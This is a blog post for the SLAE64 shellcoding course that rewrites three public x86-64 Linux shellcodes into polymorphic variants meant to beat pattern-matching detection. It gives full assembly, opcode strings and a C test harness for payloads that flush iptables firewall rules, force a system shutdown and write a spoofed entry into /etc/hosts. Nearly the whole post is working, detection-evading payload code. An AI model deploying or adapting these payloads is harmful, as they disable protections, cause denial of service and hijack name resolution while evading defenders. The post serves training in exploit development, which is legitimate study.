SLAE64 – Assignment #6 – Polymorphic versions of shellcodes from Shell-Storm

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :

http://www.securitytube-­training.com/online-­courses/x8664-­assembly-­and-­shellcoding-­on-­linux/index.html

Student ID: PA-6470

Assignment #6

The aim of this assignment is to take 3 shellcodes from shell-storm.org and to create a polymorphic version of them (to beat pattern-matching).

I’ve chosen to rewrite the following shellcodes :

  • http://shell-storm.org/shellcode/files/shellcode-683.php
  • http://shell-storm.org/shellcode/files/shellcode-877.php
  • http://shell-storm.org/shellcode/files/shellcode-896.php

shellcode-683

Version 1

I’ve changed the original implementation by replacing the « stack » technique by the « jmp call pop » technique.

Original size : 49 bytes

Polymorphic version is smaller :  43 bytes

root@debian64:~/shellcodes/x64/pentesteracademy/Exam/Assignment#6# for i in $(objdump -d shellcode-683-polymorphic -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
\x48\x31\xc0\x50\x66\x68\x2d\x46\x48\x89\xe1\xeb\x0b\x5f\x50\x51\x57\x48\x89\xe6\xb0\x3b\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x73\x62\x69\x6e\x2f\x69\x70\x74\x61\x62\x6c\x65\x73
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
;
; Linux/x86-64 - execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL) - 43 bytes
;
; nasm -f elf64 shellcode-683-polymorphic.nasm -o shellcode-683-polymorphic.o
; ld shellcode-683-polymorphic.o -o shellcode-683-polymorphic
; 
; Original shellcode :
;
; http://shell-storm.org/shellcode/files/shellcode-683.php
;
; Title: Linux/x86-64 - execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL) - 49 bytes
; Author: 10n1z3d <10n1z3d[at]w[dot]cn>
; Date: Fri 09 Jul 2010 03:26:12 PM EEST
     
section .text
global _start
         
_start:
    xor     rax, rax
    push    rax
    push    word 0x462d
    mov     rcx, rsp

jmp call_shellcode 
shellcode:
    pop rdi

    push    rax
    push    rcx
    push    rdi
    mov     rsi, rsp
         
    mov     al, 0x3b
    syscall

call_shellcode:
   call shellcode
   iptables: db '/sbin/iptables'

Version 2

Original size : 49 bytes

Polymorphic version is larger :  61 bytes but its size is < 150 % of the original size

I’ve replaced :

  • xor by mov and sub
  • push by mov and sub
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
; 
; nasm -f elf64 shellcode-683-polymorphic2.nasm -o shellcode-683-polymorphic2.o
; ld shellcode-683-polymorphic2.o -o shellcode-683-polymorphic2
;
; Title: Linux/x86-64 - execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL) - 49 bytes
     
     
; Source Code (NASM):
     
section .text

global _start
         
_start:
;   xor     rax, rax
mov rbx, rax
sub rax, rbx 
        
push    rax

push    word 0x462d
mov     rcx, rsp
         
mov     rbx, 0x73656c626174ffff
shr     rbx, 0x10

;   push    rbx
mov qword [rsp - 8], rbx
sub rsp, 8
        
mov     rbx, 0x70692f6e6962732f
push    rbx

mov     rdi, rsp
         
push    rax
push    rcx
push    rdi

mov     rsi, rsp
         
; execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL);
mov     al, 0x3b
syscall

 

shellcode-877

Version 1

I’ve also changed the original implementation by replacing the « stack » technique by the « jmp call pop » technique.

Original size : 65 bytes

Polymorphic version is smaller : 60 bytes

root@debian64:~/shellcodes/x64/pentesteracademy/Exam/Assignment#6# for i in $(objdump -d shellcode-877-polymorphic -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
\x48\x31\xc0\x48\x31\xd2\x50\x6a\x77\x66\x68\x6e\x6f\x48\x89\xe3\x50\x66\x68\x2d\x68\x48\x89\xe1\x50\xeb\x0e\x5f\x52\x53\x51\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05\xe8\xed\xff\xff\xff\x2f\x73\x62\x69\x6e\x2f\x73\x68\x75\x74\x64\x6f\x77\x6e
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
;
; Linux/x86-64 - shutdown -h now x86_64 Shellcode - 60 bytes
;
; nasm -f elf64 shellcode-877-polymorphic.nasm -o shellcode-877-polymorphic.o
; ld shellcode-877-polymorphic.o -o shellcode-877-polymorphic
;
; Original shellcode :
;
; http://shell-storm.org/shellcode/files/shellcode-877.php
;
; Title: shutdown -h now x86_64 Shellcode - 65 bytes
; Platform: linux/x86_64
; Date: 2014-06-27
; Author: Osanda Malith Jayathissa (@OsandaMalith)

section .text

global _start

_start:

  xor rax, rax
  xor rdx, rdx 

  push rax
  push byte 0x77
  push word 0x6f6e ; now
  mov rbx, rsp

  push rax
  push word 0x682d ;-h
  mov rcx, rsp

  push rax

  jmp call_shellcode 
shellcode:
  pop rdi

  push rdx
  push rbx
  push rcx
  push rdi
  mov rsi, rsp

  add rax, 59
  syscall
call_shellcode:
  call shellcode
  shutdown: db '/sbin/shutdown'
/*
*
* Author : SLAE64-PA-6470 (kahlon81)
* Date : 2018/02/21
*
* Linux/x86-64 - shutdown -h now x86_64 Shellcode - 60 bytes
*
* for i in $(objdump -d shellcode-877-polymorphic.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
*
* gcc -fno-stack-protector -z execstack shellcode-877-polymorphic.c -o shellcode-877-poly
*
*/

#include <stdio.h>
#include <string.h>
unsigned char code[] = "\x48\x31\xc0\x48\x31\xd2\x50\x6a\x77\x66\x68\x6e\x6f\x48\x89\xe3\x50\x66\x68\x2d\x68\x48\x89\xe1\x50\xeb\x0e\x5f\x52\x53\x51\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05\xe8\xed\xff\xff\xff\x2f\x73\x62\x69\x6e\x2f\x73\x68\x75\x74\x64\x6f\x77\x6e";

main()
{

	printf("Shellcode Length:  %d\n", (int)strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

Version 2

Original size : 65 bytes

Polymorphic version is larger :  87 bytes but its size is < 150 % of the original size

I’ve replaced :

  • xor by mov and sub
  • push with mov and sub
  • add dummy instructions (unused register)
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21

; nasm -f elf64 shellcode-877-polymorphic2.nasm -o shellcode-877-polymorphic2.o
; ld shellcode-877-polymorphic2.o -o shellcode-877-polymorphic2

; Title: shutdown -h now x86_64 Shellcode - 65 bytes
; Platform: linux/x86_64
; Date: 2014-06-27
; Original Author: Osanda Malith Jayathissa (@OsandaMalith)

section .text

global _start

_start:

;xor rax, rax
mov rbx, rax
sub rax, rbx

xor rdx, rdx 

; dummy instruction
xor r9, r9
add r9b, 0x33

;push rax
mov qword [rsp - 8], rax
sub rsp, 8

push byte 0x77
push word 0x6f6e ; now
mov rbx, rsp

push rax
push word 0x682d ;-h
mov rcx, rsp

; dummy instruction
sub r9b, 0x12

push rax
mov r8, 0x2f2f2f6e6962732f ; /sbin/shutdown
mov r10, 0x6e776f6474756873
push r10
push r8
mov rdi, rsp

push rdx
push rbx
push rcx
push rdi
mov rsi, rsp

add rax, 59

syscall

shellcode-896

Version 1

I’ve also changed the original implementation by replacing the « stack » technique by the « jmp call pop » technique.

Original size : 110 bytes

Polymorphic version is smaller :  101 bytes

root@debian64:~/shellcodes/x64/pentesteracademy/Exam/Assignment#6# for i in $(objdump -d shellcode-896-polymorphic -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
\x48\x31\xc0\x48\x83\xc0\x02\x48\x31\xff\x48\x31\xf6\x56\xeb\x46\x5f\x48\x31\xf6\x66\x81\xc6\x01\x04\x0f\x05\x48\x97\x48\x31\xc0\x48\x83\xc0\x01\xeb\x18\x5e\xb2\x13\x0f\x05\x48\x31\xc0\x48\x83\xc0\x03\x0f\x05\x48\x31\xc0\xb0\x3c\x48\x31\xff\x0f\x05\xe8\xe3\xff\xff\xff\x31\x32\x37\x2e\x31\x2e\x31\x2e\x31\x20\x67\x6f\x6f\x67\x6c\x65\x2e\x6c\x6b\xe8\xb5\xff\xff\xff\x2f\x65\x74\x63\x2f\x68\x6f\x73\x74\x73
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
;
; Linux/x86-64 - Add map in /etc/hosts file - 102 bytes
;
; nasm -f elf64 shellcode-896-polymorphic.nasm -o shellcode-896-polymorphic.o
; ld shellcode-896-polymorphic.o -o shellcode-896-polymorphic
;
; Title: Add map in /etc/hosts file - 110 bytes
; Date: 2014-10-29
; Platform: linux/x86_64
; Website: http://osandamalith.wordpress.com
; Author: Osanda Malith Jayathissa (@OsandaMalith)

global _start
    section .text

_start:
    ;open
    xor rax, rax 
    add rax, 2  ; open syscall
    xor rdi, rdi
    xor rsi, rsi
    push rsi ; 0x00 
    
    jmp call_shellcode 
shellcode:
    pop rdi

    xor rsi, rsi
    add si, 0x401
    syscall

    ;write
    xchg rax, rdi
    xor rax, rax
    add rax, 1 ; syscall for write
    jmp data

write:
    pop rsi 
    mov dl, 19 ; length in rdx
    syscall

    ;close
    xor rax, rax
    add rax, 3
    syscall

    ;exit
    xor rax, rax
    mov al, 60
    xor rdi, rdi
    syscall 

data:
    call write
    text db '127.1.1.1 google.lk'
call_shellcode:
    call shellcode
    hosts: db '/etc/hosts'

Here is a screenshot of this running shellcode :

Version 2

Original size : 110 bytes

Polymorphic version is larger :  144 bytes but its size is < 150 % of the original size

I’ve replaced :

  • mov rcx, 0x1f1f1f1f5364551f with MMX instructions
  • push r10 with mov and sub
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
; nasm -f elf64 shellcode-896-polymorphic2.nasm -o shellcode-896-polymorphic2.o
; ld shellcode-896-polymorphic2.o -o shellcode-896-polymorphic2

; Title: Add map in /etc/hosts file - 110 bytes
; Date: 2014-10-29
; Platform: linux/x86_64
; Website: http://osandamalith.wordpress.com
; Original author: Osanda Malith Jayathissa (@OsandaMalith)

global _start
    section .text

_start:
    ;open
    xor rax, rax 
    add rax, 2  ; open syscall
    xor rdi, rdi
    xor rsi, rsi
    push rsi ; 0x00
 
    ;mov r8, 0x2f2f2f2f6374652f ; stsoh/
    mov rcx, 0x1f1f1f1f5364551f  
    movq mm0, rcx               
    mov rcx, 0x1010101010101010 
    movq mm1, rcx
    paddusb mm0, mm1            
    movq r8, mm0
    emms   

    mov r10, 0x7374736f682f2f2f ; /cte/

    ;push r10
    mov qword [rsp - 8], r10
    sub rsp, 8

    push r8
    add rdi, rsp
    xor rsi, rsi
    add si, 0x401
    syscall

    ;write
    xchg rax, rdi
    xor rax, rax
    add rax, 1 ; syscall for write
    jmp data

write:
    pop rsi 
    mov dl, 19 ; length in rdx
    syscall

    ;close
    xor rax, rax
    add rax, 3
    syscall

    ;exit
    xor rax, rax
    mov al, 60
    xor rdi, rdi
    syscall 

data:
    call write
    text db '127.1.1.1 google.lk'